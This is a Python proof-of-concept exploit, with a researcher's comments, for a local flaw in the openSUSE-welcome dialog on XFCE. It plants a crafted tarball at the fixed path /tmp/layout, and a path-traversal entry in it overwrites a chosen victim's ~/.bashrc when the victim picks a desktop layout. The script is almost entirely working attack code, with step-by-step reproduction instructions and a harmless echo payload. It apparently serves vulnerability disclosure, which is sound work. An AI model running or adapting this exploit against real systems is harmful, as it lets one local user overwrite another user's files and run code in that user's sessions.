#!/usr/bin/python3 from io import BytesIO import argparse import os import sys import tarfile # Matthias Gerstner # 2023-07-27 # # Proof of concept (PoC) that shows a vulnerability in the openSUSE-welcome dialog. # # When running on XFCE the welcome dialog will offer a "customise" button # to change the desktop layout for XFCE. # # The change logic behind this uses a fixed /tmp file path in /tmp/layout. # If the file already exists and is readable then the dialog will reuse it, # even if controlled by a different user. # # The file content needs to be tarball that contains files of a certain # structure. The XFCE script /usr/share/xfce4-panel-profiles/xfce4-panel-profiles/panelconfig.py # will process this tarball via PanelConfig.from_file() and the welcome dialog # then causes PanelConfig.to_xfconf() to be called. See "panellayouter.cpp" in # openSUSE-welcome. # # What this PoC attempts to achieve is that a file from the tarball is copied to # an arbitrary location in the victim user's context. This is possible when # overcoming some hurdles that are checked in the panelconfig.py script. # # To use this reproducer perform the following steps: # # - create (or have available) a user account acting as the victim that logs # into XFCE4. Suppose this account is named 'victim'. # - login to an attacker account e.g. as nobody, and run this exploit script, # passing the victim's account name. # root # sudo -u nobody -g nobody /bin/bash # nobody $ /path/to/hack_welcome.py victim # this will precreate a crafted /tmp/layout tarball file for use by # openSUSE-welcome. # - now as the victim user, in an XFCE4 graphical session, run openSUSE-welcome, # click customise, and then any of the offered desktop layouts. # - on success, when opening a terminal as the victim user, the overwritten # .bashrc file should trigger and you should see the line "you have been # hacked" printed. parser = argparse.ArgumentParser() parser.add_argument("account", help="name of the user account to hack") args = parser.parse_args() if not os.path.isdir(f"/home/{args.account}"): print(args.account, "has no home?", file=sys.stderr) sys.exit(1) try: # We want to achieve that the panelconfig.py script thinks it is copying a # *.rc file from the tarball into the XFCE configuration of the home # directory. # # In find_rc_files() there is a check for `if filename.find('.rc) > -1` # # We will make this check succeed by constructing a path that goes through # '/tmp/.rc'. # # We could overcome this limitation by overwriting an actual *.rc file in # the user's home directory to execute code. There might exist some such # file that is suitable, but for the purposes of this PoC we go this route # and try to overwrite arbitrarily named files. os.mkdir("/tmp/.rc") except FileExistsError: pass # pre-create a crafted layout tarball # if this file already exists from another user then the exploit is not possible t = tarfile.open("/tmp/layout", 'w') # construct a config.txt file which will control further code paths in # panelconfig.py # # we need to make panelconfig.py create the XFCE configuration directory in # the user's home, otherwise our crafted path below will fail because of # missing directory elements. # # the necessary `mkdir` is found in panelconfig.py to_xfconf(). It is only # triggered if a valid desktop configuration is found though. So offer that. sio = BytesIO() sio.write(b"/panels/panel-0/plugin-ids [<0>]\n") sio.write(b"/plugins/plugin-0 'launcher'\n") sio.write(b"/plugins/plugin-0/items ['stuff.desktop']\n") info = tarfile.TarInfo(name="config.txt") info.size = len(sio.getvalue()) sio.seek(0) t.addfile(tarinfo=info, fileobj=sio) # For the desktop configuration to pass validation we need to actually ship # a *.desktop file in the tarball that also points to a valid executable. # # This aspect actually might be used as an exploit vector on its own, but # I didn't want to dive too deep into the XFCE plugin architecture for this. # # This /tmp/hack.py will not actually be executed via this exploit, but might # very well be in reach to be executed if done properly for XFCE to run it. exec_path = "/tmp/hack.py" with open(exec_path, 'w') as f: f.write("/usr/bin/python3\nprint('you have been hacked\n')") sio = BytesIO() sio.write(b"[Desktop Entry]\n") sio.write(f"Exec = {exec_path}\n".encode()) sio.seek(0) info = tarfile.TarInfo(name="launcher-0/stuff.desktop") info.size = len(sio.getvalue()) t.addfile(tarinfo=info, fileobj=sio) # This is the actual exploit file we intend to create # This shall be written to the victim user's ~/.bashrc # # The following crafted path is important. The panelconfig.py script wants to # write the "*.rc" file to $HOME/.config/xfce4/panel. # # Considering a default home directory in /home, we need to go up five path # elements to reach the root of the file system. then we go through /tmp/.rc # to fulfill the "is a .rc file check". Then we need to enter the user's home # again. # # This is the only limitation of this exploit, that we need to know the user's # account name to re-enter its home directory. Otherwise the exploit would be # generic and would hit any user pressing the customize button. hack = f"echo '{args.account} you have been hacked'\n" sio = BytesIO() sio.write(hack.encode()) sio.seek(0) info = tarfile.TarInfo(name=f"../../../../../tmp/.rc/../../home/{args.account}/.bashrc") info.size = len(hack) t.addfile(tarinfo=info, fileobj=sio) t.close()